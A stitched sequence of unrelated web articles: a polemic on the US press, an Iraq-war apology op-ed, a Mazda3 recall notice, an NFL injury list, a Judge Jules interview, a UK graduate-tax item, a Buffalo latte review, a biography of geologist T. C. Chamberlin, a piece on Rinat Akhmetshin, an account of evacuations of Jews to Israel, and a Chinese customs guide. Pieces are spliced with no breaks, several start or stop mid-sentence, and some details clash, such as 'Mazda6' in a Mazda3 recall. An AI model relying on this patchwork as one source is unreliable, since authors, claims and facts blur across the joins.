Perhaps the biggest scandal in America is its rigid aristocratically controlled ‘press,’ which is really nothing more than a whored propaganda-operation that’s run by and for the nation’s aristocracy. The owners of America’s ‘news’ media know that the way for the press to make money in this type of dictatorship is to sell to the aristocrats’ corporations access to the public, and to ‘report’ only ‘news’ that the corporate sponsors don’t mind the public’s knowing about.
So: this is how the public get suckered, in America.
It wouldn’t be so bad if the American Government didn’t hypocritically claim to be a ‘democracy.’ That’s just piling it on, with a shovel.
—————
Investigative historian Eric Zuesse is the author, most recently, of They’re Not Even Close: The Democratic vs. Republican Economic Records, 1910-2010, and of CHRIST’S VENTRILOQUISTS: The Event that Created Christianity.Neal Chalabi Chambers
RINF Alternative News
After the invasion of Iraq, the US electorate sent a clear and unequivocal message to the world.
By voting for President Obama who opposed the war, the American people signalled their rejection of President George W. Bush’s foreign and domestic policies, and his destruction of Iraq.
Today, Iraq’s sovereignty has been destroyed.
Its wealth of cultural heritage has been looted or vandalised. Iraq’s natural resources have been squandered, and its once-elaborate and sophisticated infrastructure has been laid to waste.
Safety, security, and the rule of law are virtually non-existent. Terrorism is on the increase.
The whole Middle East has either been destabilised or is, as a result of the chaos in Iraq, at high risk of instability, or even meltdown.
Southern Iraq is largely under the control of the Tehran Government. And yet the Bush administration somehow failed to anticipate this outcome.
Wild dogs feasted on dead Iraqi remains while the US occupiers were busy protecting the oil wells. Holy places were desecrated.
Hundreds of people were assassinated, kidnapped or simply disappeared every day.
According to Iraq Body Count, hundreds of thousands have been killed as a result of the war, many of them are innocent civilians.
The dismantling of the Iraqi state was at the heart of the US invasion. The war was never intended to be one of liberation.
There was never an exit strategy.
Instead, the focus was on diverting attention from the real strategic aims of the war, and its human and financial costs.
The real aims are to control Iraq’s vast oil and gas resources estimated at 1/3 of the World’s reserves.
Also, to eliminate Iraq’s potential military and political threat to Israel’s unlimited ambition for regional control and domination.
The problem isn’t just the catastrophic failure of the war, or the suffering it has caused:
it’s the Bush Administration’s unforgivable dishonesty towards the American, British and Iraqi public.
American and British citizens were inveigled into this disaster.
The true aims of the war were never shared with the American or Iraqi people by its architect, for fear of being rejected.
President Obama’s message to the American public was one of change.
The fundamental change needed is honesty, transparency and accountability with respect to the war against Iraq. Iraqis also want honest explanations for the destruction of their country.
In March 2005, the Sunday Times revealed that the then-head of M16, Sir Richard Dearlove, told Tony Blair and his leading advisers following a visit to Washington in 2002 that the “facts and intelligence” were being “fixed round the policy” by the Bush administration.
Real not politicised justice must be seen to be done, to right the wrongs committed by the Bush’s government against the Iraqi people.
In November 2011 and May 2012 the Kuala Lumpar Crimes Tribunal allowed the courts after reviewing an impressive body of legal documentary evidence and victim testimonies to pronounce that culpability exists at the highest levels of Governments in the United State and the United Kingdom for War crimes and the crimes of torture.
This cant possibly come as a surprise for George W. Bush and Tony Blair.
An unequivocal US apology must be given to the Iraqi people, for the pain and suffering inflicted upon them.
There must also be an offer of compensation, in accordance with international law, for the collateral damage to both people and infrastructure.
A US apology will not bring back the thousands of dead Iraqis, or ease the suffering of those who have lost their love ones, it cannot heal the injured, or shelter the displaced.
But at least a US apology will amount to an acceptance of moral responsibility, and an admission that it has deceived the Iraqi people.
The hope is that a tragedy of this kind will never take place again, that the public will never again be deceived in this way, or international law so flagrantly violated.
Unless and until someone is held accountable, those who committed atrocities against Iraqi civilians will continue to walk the streets of London and Washington, safe in the knowledge they have literally got away with murder.
Not only of Iraqi civilians but also of the members of the British and American Armed forces who were morally betrayed by their trusted executives.
Dr Burhan Al-Chalabi — FRSA is a former Chairman of the British Iraqi Foundation, fellow of The Royal Society of Arts and publisher of The London Magazine.Mazda recalls more than 20,000 Mazda3 cars to fix fuel tanks that can leak and cause fires.
October 5, 2016 — Mazda is recalling more than 20,000 Mazda3 cars in two recalls, both to repair problems associated with gas tanks and a high risk of fires.
2014-2016 Mazda Mazda3 Recall
The automaker says nearly 17,500 model year 2014-2016 Mazda3 cars may have gas tanks that were damaged during manufacturing. Mazda says the welded attachment of the "inlet check valve" may fail because of vibrations and allow fuel to leak on hot surfaces, possibly causing car fires.
The recalled 2014-2016 Mazda3 cars were built January 4, 2014, to September 18, 2015.
Mazda dealers will check the lot number on each fuel tank and if it's confirmed the tank is on the list, dealers will inspect the weld and replace the gas tank if needed.
The recall should begin on November 1, 2016, but owners of the Mazda3 may contact the automaker at 800-222-5500 and ask about recall number 0116I.
2016 Mazda Mazda3 Recall
The second recall involves more than 3,800 model year 2016 Mazda Mazda3 cars that may have deformed gas tanks that can leak fuel from the recirculation pipe welds.
The automaker received the first report of a problem in May 2016 and opened an internal investigation by collecting the affected part and trying to confirm a failure of the recirculation pipe welded connection. However, it took until September 2016 to finally determine the welds could fail due to deformation of the gas tanks.
Mazda blames the defect on "inadequate facility control" during manufacturing that caused the fuel tanks to deform.
The recalled 2016 Mazda6 cars were produced between September 24, 2015, to October 16, 2015.
The recall is scheduled to begin on November 1, 2016. As in the previous recall, Mazda dealers will inspect the fuel tank lot numbers and for any affected tanks, they will be replaced based on what dealers find with the recirculation pipe welds.
Mazda3 owners who have questions should call Mazda customer service at 800-222-5500 and use recall number 0216I.
CarComplaints.com has complaints about the 2014 Mazda Mazda3, 2015 Mazda Mazda3, 2016 Mazda Mazda3 and other model years of Mazda Mazda3 cars.You’re not imagining it: more NFL players are getting injured this year. And it’s not just the guys at the bottom of the depth chart going down. J.J. Watt is on IR. So is David Johnson. Aaron Rodgers has been out since October. The hits keep coming, too, with the Eagles losing MVP candidate Carson Wentz for the season to a torn ACL on Sunday. Below is an attempt to sort through the carnage, week-by-week, cataloging the most impactful injuries in the NFL this year.
Preseason
Julian Edelman, WR, Patriots (ACL, IR): Edelman’s absence has been mitigated by a strong showing from Brandin Cooks but the Patriots had hoped to pair those two to form outside receiving duo they’ve been lacking for years.
Delvin Breaux, CB, Saints (leg, IR): Breaux fractured his tibia in 2016, came back, injured his shoulder and missed the rest of the season. He was diagnosed with a stress fracture in the tibia in training camp and started the season on IR. The local favorite was initially expected back this year but a setback in his rehab prevented that from happening.
Ryan Tannehill, QB, Dolphins (ACL, IR): Tannehill, who suffered a non-contact torn ACL the first week of preseason this year, missed the end of the 2016 season with a sprained ACL and MCL, which did not require surgery.
Week 1
David Johnson, RB, Cardinals (wrist, IR): The Cardinals saw their playoff hopes take an immediate hit when their do-it-all All-Pro running back went down with a dislocated wrist in the season opener. The team initially hoped he could return as early as Thanksgiving but Bruce Arians ruled out a return in 2017.
Eric Berry, SS, Chiefs (Achilles’, IR): Berry ruptured his Achilles’ tendon in the first game of the season, a Chiefs’ victory over the Patriots. The safety was given a six-month time frame for recovery, ruling him out for the rest of the season.
Jason Verrett, CB, Chargers, (knee, IR): Verrett partially tore the ACL in the same knee in Week 4 last season. He has appeared in only 25 games since being selected 25th overall out of TCU in 2014.
Allen Robinson, WR, Jaguars (ACL, IR): Frankly it’s amazing that the Jaguars are 9–4 without the man who was their leading receiver in each of the last two seasons.
Week 2
Greg Olsen, TE, Panthers (foot, missed 8 games): Olsen returned from IR after having surgery on his foot. He tweaked the foot again in his first game back and sat out the next week before getting back on the field in Week 14. He had just one catch for 10 yards in two games since coming back.
Marshal Yanda, OG, Ravens (ankle, IR): The Ravens have had to replace one of the NFL’s most consistent guards with a combination of undrafted Matt Skura and rookie fifth-round pick Jermaine Eluemenor.
Week 3
Darren Sproles, RB, Eagles (arm and ACL, IR): Philadelphia’s pass-catching back and return man extraordinaire tore his ACL and broke his arm on the same play.
Week 4
Davante Adams, WR, Packers (concussion, missed no games): Danny Trev |
day, is certainly the most difficult, and therefore the thing I am most proud about. Remaining relevant takes constant care and attention, and I’ve seen plenty of careers start and end during the time I’ve been active.
Having on-going love and understanding for the music is essential. It’s something you can’t make up – you can’t fool anyone if the flame of your pilot light starts to die.
Speaking of BBC Radio 1, your 14-year tenure is one of the longest at the institution. You used the platform to champion the harder styles of electronic music, from trance to hard house. What made you choose those styles in particular?
It was actually 15 years, believe it or not, and whilst I was definitely known to play the harder sounds, I always tried to remain genre agnostic with at least a third of the show made up from the music of other styles rather than remaining dogmatically glued to one style.
Throughout my time on Radio 1, I was playing in clubs and festivals every weekend, and those experiences were reflected in my selections for the show.
Being the host of an immensely successful radio show means you’re inundated with promos. What elements are you looking for in tracks that you end up playing on the radio as well as in the club? How do you go about doing A&R so to speak?
It’s hard to quantify exactly, but the easiest way to describe the A&R process is a search for some kind of ‘magic factor’ that you can’t legislate for in each record. I could scientifically list all the technical and creative aspects that I like about my favourite records, but one can’t really analyse or explain the magic factor that truly great records have. They just have it. Being able to spot a great record, early, is a spontaneous thing and an essential requirement of the job.
You’re also a prolific producer. Alongside people such as Paul Masterson & Darren Tate, you’ve created many classics in the trance and hard house genres. However, you elected not to associate the name “Judge Jules” with any of these projects. Why is that?
During the first ten years of my show at Radio 1, I felt that it was a conflict of interest to be playing my own tracks, or those branded as Judge Jules anyway, on my own show. The BBC is such a revered institution that it didn’t feel quite right, hence my producing under the various aliases.
However, ten years in, other DJs started to play their own music on their BBC shows. From then on I started to produce as Judge Jules – I’ve got a very successful podcast and radio show called the Global Warm Up which is syndicated across the world. You’ll hear plenty of my music on there each week.
Many of younger fans today yearn to experience the peak of the rave era from the nineties. The UK was at the forefront of the movement and you were one of its main influences. Why do you think this period stood out? What memories do you have from that time?
The biggest difference was the lack of high-speed internet back then; you didn’t have such easy access to DJs and their sets, and you had seek them out live if you wanted to enjoy dance music and the associated culture. There was no Spotify, SoundCloud or YouTube – DJ culture had to be consumed in the flesh at raves and parties. People didn’t have smartphones and so the focus for clubbers was on the dance floor, the DJ, and their music.
The smartphone era has resulted in rather too many people filming what’s happening on the dance floor, as opposed to absorbing and enjoying it. Obviously, that’s unlikely to change and affects regular music concerts as well as dance events, but the lack of a sea of smartphones held high created a sense of unity back in the day, which is perhaps lessened in 2017 by constant filming.
Outside of the UK, you’ve also been a driving factor in Ibiza way before the rich super clubs shifted focus to the mainstream sound. What were those years like? Why is it that Ibiza remains a top destination where other big venues from the past have closed or moved on?
Ibiza has always had a certain magic that other places just don’t have, but I’d say that the single biggest factor in the island’s lifespan is the fact that the Ibiza season only lasts for three or four months of the year.
Unlike other fashions, which are in your face all year round until they get boring, Ibiza is only available for this small window over summer and as such it’s hard to tire of it – in fact, most of the year is spent waiting to do it all over again.
What’s the craziest thing you’ve seen happen on the dance floor during one of your shows?
That’s a hard one as I’ve seen the full spectrum over the years – from love-making to fighting, police raids to mass brawls, from people sat on the dance floor in tears because they’re overcome by emotion, to Mexican waves every which way across the dance floor.
This might come as a surprise to many, but you were a lawyer before becoming a DJ. The “Judge Jules” moniker suddenly makes a lot more sense! Can you tell us how the name came about?
I actually didn’t become a lawyer professionally until much more recently, but when I started DJing I was studying for my first law degree. The police would often turn up to shut down the parties I was playing at or promoting, and as a young man with perhaps more confidence in himself than he should have had, I’d often be the one who would have to defuse the situation and this is what earned me the name.
If you could sum up the ethos of “Judge Jules” in a few words, what would they be?
Passion and intensity – though maybe not at the time of writing, at 10am on a Monday morning.
As North Americans, it’s rare that we have a chance to witness you behind the decks. Over the summer I made the pilgrimage to witness your Luminosity set. The music, the mixing, the crowd was everything I could hope for. How was the festival from your perspective?
This was my fifth year playing Luminosity and my set has become something of an event for both me and clubbers; this year we streamed it with a reach of nearly 250,000 people I think. It’s an incredible festival with a hugely international following – something quite apparent when you see the number of flags from around the world in the crowd.
Speaking of North America, you’ll be returning after a long absence. You’re playing at the biggest trance festival on this side of the pond, Dreamstate. What’s in store for your performance?
You can expect energy, but aside from that I really don’t plan my sets. The most important part of being a DJ is being able to look at a crowd, absorb the chemistry and know what’s right on the spur of the moment. Spontaneity is everything.
Before we let you go, what upcoming projects are you working on, whether in the studio or elsewhere?
I’ve got a track called “Dimensions” out on Mike Push’s MPS label, as well as a remix of “If I Fall” by Headstrong featuring Stine Groove, and a forthcoming single on Sirup called “Daybreak”. There’s also a big project which I’m working on for 2018 which is incredibly exciting.
It’s been our great pleasure to be able to talk one of the most significant names in the electronic music scene. We want to thank you again for your time and we wish you all the best in 2018!
Follow Judge Jules on Social Media:
Website | Facebook | Twitter | Instagram | SoundcloudIf a graduate tax were to be instated in the UK, as previously suggested by the country’s Business Secretary, students would have little incentive to stay and contribute to the economy upon completion of their degrees, ultimately offsetting any possible benefits the system might have.
The Confederation of British Industry (CBI) has come out in protest of possible changes to the country’s tertiary education system, claiming that they are not in the best interest of students, institutions, or the economy. The view was explained by Richard Lambert, director-general of the CBI, on September 6th in a public statement made in response to the proposal of a national graduate tax brought forward by Vince Cable, Business Secretary of the UK, in July.
Under the current system, the Government lends students funds to cover the cost of their degrees. Loan holders are then required to make regular pre-set payments when their annual income exceeds GBP 15 000. The repayment amount does not depend on income. Under Vince Cable’s proposal, universities would be paid directly by the Government, but graduates would be charged an extra tax throughout their working career, levied directly on their earnings.
The CBI judged the proposed graduate tax on four primary criteria: fairness and practicality; free at the point of delivery for students; support and strengthening of education quality; and retaining the autonomy of institutions. The proposal was deemed to have had shortcomings on all points. Further, if instated, the tax will provide students will strong incentives to leave the UK upon completing their degree, to escape the new charge, burdening the Government both with a monetary shortfall and an economy lacking in newly-trained workers. The problem would be compounded by the UK’s top-earner personal tax rate of 50 percent, which is already regarded as a cause of high-earner emigration. As the graduate tax would be levied directly on income levels, it could also prove to be a strong disincentive to active career progression. According to Richard Lambert the indirect payment scheme would also “… break the link between the student and their chosen university, and distance graduate contributions from the education they receive. That would weaken the incentives for universities to sharpen up their act.”
Photo by The CBIRoughly a month ago, Tim Hortons' Buffalo locations were the first in the country to roll out shiny new espresso machines that create a more legitimate latte, where milk is steamed until frothy and the espresso is more potent than the previously tepid mix.
Is the espresso as high quality as the creations of Buffalo's New Wave coffee establishments? Probably not. Is it better than what Tim Hortons produced before? Yes, and that should be exciting news for devotees.
In an aggressive publicity push, the popular chain has announced a limited-time Buffalo Latte ($2.79 for a small) for two area locations: 4849 Transit Road, Depew; and 3470 Main St. The upgraded espresso applies to all locations and has been in place for some time locally; prices begin at $2.29.
This new product is exactly what you'd expect, at least in terms of ingredients (hey, we were hoping for sponge candy, but life goes on). It's a mocha latte with the improved espresso, enhanced with "Buffalo sauce" flavoring and "zesty Buffalo seasoning" (essentially cayenne pepper) sprinkled on top of the whipped cream.
Buffalonians typically recoil when someone says "Buffalo wings" or "Buffalo sauce" - "they must be from out of town!" - but the new specialty latte is surprisingly drinkable. The heat is subtle and emerges at the end of each sip; it's not a jarring flavor like if you were drinking a messy blend of espresso and Frank's Hot Sauce, or if you dipped a chicken wing in a glass of hot chocolate milk.
Email: btsujimoto@buffnews.comThomas Chrowder Chamberlin (; [1] September 25, 1843 – November 15, 1928) was an American geologist and educator. In 1893 he founded the Journal of Geology, of which he was editor for many years.
Chamberlin was born September 25, 1843, in Mattoon, Illinois. When he was three years old his family moved north to near Beloit, Wisconsin. His father was a Methodist circuit minister and farmer. He attended a preparatory academy before entering Beloit College, where he received a classical education in Greek and Latin, while becoming interested in natural science. While a student at Beloit he directed a church choir and participated in athletics and debate.
After graduation from Beloit College in 1866, Chamberlin worked for two years as a teacher and later principal in a high school near Beloit. He was married to Alma Wilson in 1867.
In 1868–1869, Chamberlin spent a year taking graduate courses, including geology, at the University of Michigan to strengthen his scientific background. Subsequently (1869–1873), he became professor of natural science at Whitewater Normal School in Wisconsin. He joined the Beloit faculty in 1873, where he was professor of geology, zoology, and botany. In 1873 he also became one of several part-time participants in conducting a comprehensive geological survey of Wisconsin. His geologic mapping work in southeastern Wisconsin, a region mantled with thick glacial deposits, led him to recognize multiple episodes of glaciation during the Pleistocene. His terminology for glacial stages in North America is still in use, with minor modifications.
In 1875 he started a business with his brother and sold spring water, a popular brand at the time.[2]
In 1876 Chamberlin became chief geologist for the Wisconsin geological survey, supervising the completion of the survey and the publication of the four-volume report, for which he authored sections on glacial deposits, Paleozoic and Precambrian bedrock geology, lead-zinc ore deposits, artesian wells, and soils. The project brought him national attention and led to his appointment as head of the glacial division of the US Geological Survey in 1881. He later was president of the University of Wisconsin (1887 to 1892).
In 1890[3], and again in 1897[4], Chamberlin wrote The method of multiple working hypotheses, in which he advocated the importance of simultaneously evaluating several hypotheses, rejecting those that conflict with available data, and ending with the one hypothesis supported by the data. This stood in contrast to what he called the single ruling theory, which encouraged scientists to find supporting data and not challenge it with difficult tests. The paper is considered a landmark [5] on the scientific method, was an inspiration for the approach called strong inference, and was reprinted in 1965[6].
In 1892 Chamberlin accepted the offer to organize a department of geology at the new University of Chicago, where he remained as a professor until 1918. From 1898 to 1914 he was president of the Chicago Academy of Sciences.
In 1899 Chamberlin wrote, An Attempt to Frame a Working Hypothesis of the Cause of Glacial Periods on an Atmospheric Basis, and developed at length the idea that changes in climate could result from changes in the concentration of atmospheric carbon dioxide, and wrote about climate actions:
When the temperature is rising after a glacial episode, dissociation is promoted, and the ocean gives forth its carbon dioxide at an increased rate, and thereby assists in accelerating the amelioration of climate. A study of the life of the geological periods seems to indicate that there were very notable fluctuations in the total mass of living matter. To be sure there was a reciprocal relation between the life of the land and that of the sea, so that when the latter was extended upon the continental platforms and greatly augmented, the former was contracted, but notwithstanding this it seems clear that the sum of life activity fluctuated notably during the ages. It is believed that on the whole it was greatest at the periods of sea extension and mild climates, and least at the times of disruption and climatic intensification. This factor then acted antithetically to the carbonic acid freeing previously noted, and, so far as it went, tended to offset its effects It now becomes necessary to assign agencies capable of removing carbon dioxide from the atmosphere at a rate sufficiently above the normal rate of supply, at certain times, to produce glaciation; and on the other hand, capable of restoring it to the atmosphere at certain other times in sufficient amounts to produce mild climates.[7]
In 1905, Chamberlin and Forest Ray Moulton developed a theory of the formation of the solar system that challenged the Laplacian nebular hypothesis. Their theory, the Chamberlin-Moulton planetesimal hypothesis, received favorable support for almost a third of a century, but passed out of favor by the late 1930s. It ultimately was discarded in the 1940s by the realization it was incompatible with the angular momentum of Jupiter. A portion of the theory stating that smaller objects — planetesimals — gradually collided to build the planets by accretion is still well-regarded. From his theories and other geological evidence he concluded that Earth was much older than assumed by Lord Kelvin (ca 100 million years) at the time. His speculations about the source of energy for such a long-lived Sun were prescient, involving the ability of the Sun to somehow extract energy from the inner structures of the atom.
Chamberlin was awarded the inaugural Penrose Gold Medal of the Society of Economic Geologists in 1924,[8] and the inaugural Penrose Medal of the Geological Society of America in 1927.[9] He was president of the Geological Society of America in 1894.[10]
Chamberlin remained active professionally up until his death in Chicago on November 15, 1928.
His papers are housed at the University of Chicago archives and the Beloit College archives. The Beloit College archives also contain the papers of his son, Rollin T. Chamberlin, who was also a geologist.[11] There are buildings named for him on the Beloit College and University of Wisconsin–Madison campuses as well as a house in Burton-Judson Courts at The University of Chicago.[12] The lunar crater Chamberlin and a crater on Mars[13] are named in his honor.Over the subsequent months, Akhmetshin leaked me a trove of documents that linked Nazarbayev to millions of dollars in Swiss bank accounts — payments from international oil companies working in the Central Asian republic. The result was a scoop in the paper, a high-profile investigation by the U.S. Justice Department, and, later, a thick section of a book I wrote about those years on the Caspian Sea.
How he made his mark: At that time and over the subsequent years, Akhmetshin proved again and again to be surprisingly adept at influencing politics in Washington, DC, not his homeland. A profane and fast talker who likes to dress well, a quick study who understands the world of geopolitics, local politics and technology, he managed to ingratiate himself with important members of Congress, and through them and his contacts with reporters single-handedly tarnished Nazarbayev's and Kazakhstan's reputation. If today the Kazakh leader and his country have reputations for chronic corruption, a primary reason is Akhmetshin.
Akhmetshin openly described his years as a military counter-intelligence officer, serving in Afghanistan. He ultimately took American citizenship. As we met again and again over the years, he represented opposition figures in Ukraine and Afghanistan, too. I never found him having cultivated the man in power anywhere. In a world in which no one is clean, Akhmetshin was someone you could trust.
The original NBC News reports suggested that Akhmetshin's intelligence past somehow has rolled forward until now, putting Russian spies in the same room with Donald Trump, Jr. Nothing I picked up in numerous intense reporting experiences with Akhmetshin over the years — in the former U.S.S.R. and the U.S. — suggested any current such relationships.
Last year, Akhmetshin took on clients attempting to tarnish Bill Browder, the former high-rolling American investor in Moscow and defender of Russian President Vladimir Putin, who only turned on the Russian president when he kicked him out of the country. Browder has since become one of Putin's fiercest critics, driven by the murder of his lawyer, Sergei Magnitsky, in a Moscow prison.
Four days after the Trump Tower meeting, Akhmetshin was responsible for arranging the high-profile showing of a revisionist anti-Magnitsky film at Washington, DC's Newseum.
Akhmetshin, reached by cell phone in Europe where he said he is surfing with family, said "there was nothing really" to the meeting. He said he was just going to dinner and preferred not to talk further about the incident. I asked how it was that he was yet again at the center of events. "Just lucky, I guess," he said.Israel Just Evacuated 19 Jews From Yemen. It’s Not the First Time.
In December 1947, in a spasm of anti-Semitic violence following the U.N. partition of Palestine, a Yemeni mob rampaged through the streets of Aden, smashing dozens of Jewish storefronts and killing 82 Jews. That attack, and worsening relations between Jews and their Muslim neighbors there, prompted the great majority of Yemeni Jews — around 50,000 people — to flee to Israel in a series of secret flights organized in 1949 by the Israeli government, Washington, and a handful of Jewish nonprofits.
This weekend, almost 70 years after those initial airlifts, Israel quietly evacuated a group of Yemeni Jews out of the country, home to one of the most ancient Jewish communities in the world. The move leaves only 50 Jews in Yemen, which has been embroiled in a bloody civil war since last year.
“This chapter in the history of one of the world’s oldest Jewish communities is coming to an end, but Yemenite Jewry’s unique, 2,000-year-old contribution to the Jewish people will continue in the state of Israel,” the Jewish Agency, an Israeli nonprofit that helped facilitate the recent evacuation, as well as the exodus in 1949, said in a statement on Monday.
Most of the 50 Jews remaining in Yemen live in a compound in the Houthi-controlled capital city of Sanaa, where they are protected by “authorities,” according to an AFP report.
The group of 17 Yemeni refugees who arrived in Israel early Monday morning, which included a rabbi carrying an 800-year-old Torah, joined a growing list of Jews whom Israel has whisked away from conflict zones around the world. Once in Israel, they enjoy an automatic religious right to citizenship.
“Maybe one day we’ll make a movie out of it,” Yigal Palmor, a spokesperson for the Jewish Agency, told AFP. “We are talking about a secret operation in a hostile environment. It is not easy to transport people who are visibly and recognisably Jews.”
Below, Foreign Policy has compiled a list of some of the most daring missions that have successfully evacuated Jews to Israel:
Operation Moses
As famine spread across Sudan in 1984, the United States and Israel negotiated a plan to secretly airlift 250 Ethiopian Jews to Israel after busing them from a refugee camp in Sudan to an airfield in Khartoum.
Over the next seven weeks, the two countries arranged for nearly 8,000 Ethiopian Jews to take similarly dramatic journeys, spiriting them out of food-scarce refugee camps in Sudan and away from the famine, discrimination, and civil war they had fled in Ethiopia.
Surprisingly, the idea came not from Israel but from a U.S. embassy official in Khartoum, who carried it out with logistical help from the CIA and financial support from Israel.
After a press leak caused Sudan to withdraw its permission for the airlifts on Jan. 5, 1984, some 2,000 Ethiopian Jews died of starvation in Sudanese refugee camps before the U.S. and Israel were able to evacuate the remaining 500 refugees that March.
Operation Solomon
On the cusp of a rebel takeover of Ethiopia in May 1991, Israel evacuated 14,500 Ethiopian Jews from the capital, Addis Ababa, in less than 36 hours. At the height of the operation, 28 planes were flying simultaneously, allowing Israel to transport around 1,000 Jews per hour — nearly double each aircraft’s maximum capacity.
Israel paid Ethiopia $35 million to guarantee safe passage for the refugees, while the United States pressured both rebels and the government to allow for the exodus. But for good measure, Israel still dispatched a security force of about 150 elite commandos to stand guard at the capital.
Russo-Georgian War
The Jewish Agency, the same Israeli non-profit that helped evacuate Yemenis this weekend, helped 31 Georgians escape from the town of Gori, just days before it fell to Russian forces on Aug. 13, 2008.
The Jewish Agency is the primary organization facilitating flights for Jewish members of countries that don’t maintain relations with Israel. It has participated in most of Israel’s large-scale evacuation efforts, or “Aliyahs of rescue,” including the operations in Ethiopia.
Ukraine
The International Fellowship of Christians and Jews, a U.S.-based Jewish non-profit, has helped evacuate hundreds of Ukrainian Jews from the frontlines of war between Ukrainian nationalists and pro-Russia separatists.
In its first flight on Dec. 22, 2014, the fellowship provided airfare to Israel and $500 to $1,000 stipends to 226 Ukrainian Jews — more than half of whom were moved from active battle zones. In March 2015, the organization flew another 110 Ukrainian Jews from the war-torn Donbass region, bringing the total number of Ukrainian Jews evacuated by the group to 2,562.
MENAHEM KAHANA/AFP/Getty Images
Correction, March 22, 2016: The International Fellowship of Christians and Jews has rescued 2,562 Jews from Ukraine since Dec. 2014. A previous version of this article mistakenly said it had rescued 560 Jews.Did you know that pears were Chinese friendships’ number one enemy? I can feel your curiosity from where I’m standing. There is so much mystery to solve behind Chinese customs and beliefs, right? Well, have a sit and make yourself comfortable. We’re going to see together what is and isn’t appropriate for Chinese people. As the universal saying goes: 入乡随俗 rù xiāng suí sú Do in Rome as the Roman do. A guest must do it as his host wants. So let’s learn all about the Chinese customs and beliefs you might not have expected to watch out for and you’ll become the perfect Roman in Rome!
Observing the Chinese traditions and customs around you and adapting is the key to fully enjoying your journey in China. In this article, you’re going to learn unexpected Chinese customs you must know about, to avoid making any major cultural faux-pas. We also share the proper behaviour to have in a slew of situations, so that once you have read this guide, Chinese customs won’t throw you off. Without further ado, let’s get started.
#1 Everyday Chinese Customs to Save Face
The first surprising customs you’ll run into in China are most likely everyday beliefs and taboos you need to know about. A lot of them have to do with saving face. The concept of saving face is uniquely important in China, and elsewhere in Asia and it shouldn’t be ignored. Knowing what helps save face is therefore essential: it’s key to making those around you feel comfortable and showing them you know and respect their superstitions and traditions.
Let’s start with a topic you shouldn’t mention and two seemingly inconspicuous activities you’re better off not attempting in China.
Death
A huge taboo in China is 死 sǐ death. Trust me, you don’t want to talk about death in public in China.
As you learn about cultural taboos and traditional customs in China, you’ll find that many traditional taboos in the Chinese culture come from ancient times and stem from Taoism. Not talking openly about death is no different. In ancient China, taoist scholars would prohibit any mention of this topic. This was a way to keep death and ghosts away from their life since immortality was their ultimate goal.
An old taoist saying explains: 敬鬼神而远之 jìng guǐ shén ér yuǎn zhī Respect the ghosts and keep away from it. In short, we won’t talk about you and you won’t come bother us.
As such, even now, Chinese citizens are afraid to use the word “death” because they fear that saying it will make it real, and their family members will die.
However, this doesn’t mean that death is entirely off the table. The Chinese believe that everything forms the two sides of a same coin: for example, death and birth are linked.
Confucius said: 未知生 焉知死 wèi zhīshēngyān zhī sǐ How can you know what death is before knowing what life is?.
If to talk about death, Chinese people usually replace the word 死 by one of the following expressions: 老了 lǎo le, 走了 zǒu le they left, 不在了 bú zài le they aren't there or 过世 guò shì to say that someone passed away in a less direct manner.
We hope you won’t have to talk about such a sad subject in any case, but if you do, now at least you know what NOT to say to avoid making matters worse.
Speaking of making matters worse, here’s a color you really really shouldn’t wear on your head. Green.
Forget about green hats
Wondering why green hats are a taboo in China? Well, 戴绿帽子 dàilǜmào zi wearing a green hat, which originally innocently meant wearing a green hat, also means: to cuckold. So now, it is believed that when people wear a green hat, it means that they cheated on their partner.
According to stories, the Emperor 朱元璋 zhū yuánzhāng, who founded the Ming dynasty and ruled China from 1368 to 1398, claimed that prostituted men had to wear green hats to be recognizable among others.
Another story says that a woman forced her husband to wear a green hat when he left home. While he was out, the wife could secretly meet her lover. The green hat could be seen from afar so she had time to warn her lover so he could leave the house without being caught. Behind cheated on is a huge taboo in China, no one likes to talk about it openly, and we can easily understand they just want to save face.
I bet you’d never guess wearing a green hat could mean such a thing. So you’d better not wear one. Who likes green hats anyway? St Patrick’s Day is the only time you would have considered wearing one, right? Well, now you know it might be better to pass on that tradition in China altogether.
Kissing someone you don’t know
I see you, young boy! Don’t try to kiss a girl you don’t know, even on the cheeks and even it’s just to greet her! No. Never. Not in China. By doing that, all you’ll accomplish is getting her upset and embarrassed. Kissing someone you don’t know is viewed as disrespectful, and you should pray her boyfriend/husband didn’t see you. For western people, especially Latins, it can seem more than normal to hug or to give someone a kiss on the cheek to say hello; but if you’re meeting someone for the first time, don’t even try to say hi that way in China. A formal handshake is your best option.
As you walk around in China, you may notice that Chinese girls are very close to each other, they might kiss to greet or even hug and hold hands. That’s all good when you’re friends, but don’t be surprised or angry to see they are distant with you at first. This is the case in most countries when you’re meeting someone you don’t yet, anyways, right?
Now that you know about everyday don’ts, time to move on to another big unexpected taboo in China: numbers. Let’s talk about why the Chinese fear some numbers so much they don’t even say them out loud. Wait. Really?
#2 Surprising Chinese Customs about Numbers
Chinese people are very careful when it comes to numbers. They avoid using some of them because they represents bad luck. There’s a popular saying about numbers that sums up well how the Chinese view numbers:
They like to say 好事成双 hǎo shì chéng shuāng all good things come in pairs.
In order to prevent unlucky things from happening, Chinese people would rather choose even numbers to plan the date of a big event such as a wedding, when giving gifts ( two is better than one – sign me up for that custom!) and when getting a new phone number.
Lucky number: 8 and 6
For instance, Chinese people generally like the numbers 8 and 6, because 八 bā number 8 sounds like 发 fā rich in Chinese.
As for 六 liù number 6, it’s homophonic with 流 liú flow which represents good fortune.
Avoid the number 4
People are very wary of the number 4. In Chinese 四 sì 4 sounds like 死 sǐ death death. What an awful homophonic! That explains why, according to superstitions, 4 represents bad luck.
If you go to China, you’ll see something really surprising: there are no fourth floors in buildings. Say what? You heard me! When in an elevator, you’ll go from the 3rd floor to the 5th one. Hehe ~~
No more seven heaven
There’s another unlucky number for Chinese people:
七 qī 7
Well, some like 七 because it is an homophonic of 起 qǐ start, rise which means good things for them. Maybe a new start? A new success?
It also sounds like 气 qì vital energy.
But, on the contrary, for some Chinese people, 七 is an unlucky number and that’s because of another homophonic: 欺 qī to cheat. Many couples avoid getting married on the 7th because of the 欺 homophonic.
Bonus : 250 二百五 Èrbǎiwǔ Idiot
250 is actually a very funny but strong number in Chinese and you must be careful when using it.
Calling your close friends 250 二百五 Èrbǎiwǔ Idiot can be ok but NEVER try to use it to be funny with someone you don’t know. Or get yourself ready for a fight and to leave people will a bad opinion concerning you. Make sure you remember this well if you don’t want to curse someone unintentionally!
Food is another topic that must be taken seriously in China. There are many rules when it comes to food, just like in every country: use only your right hand in India, no elbows on the table in France, tea ceremony in Japan. Read below about the Chinese manners you must have.
#3 Yummy Chinese Customs about Food
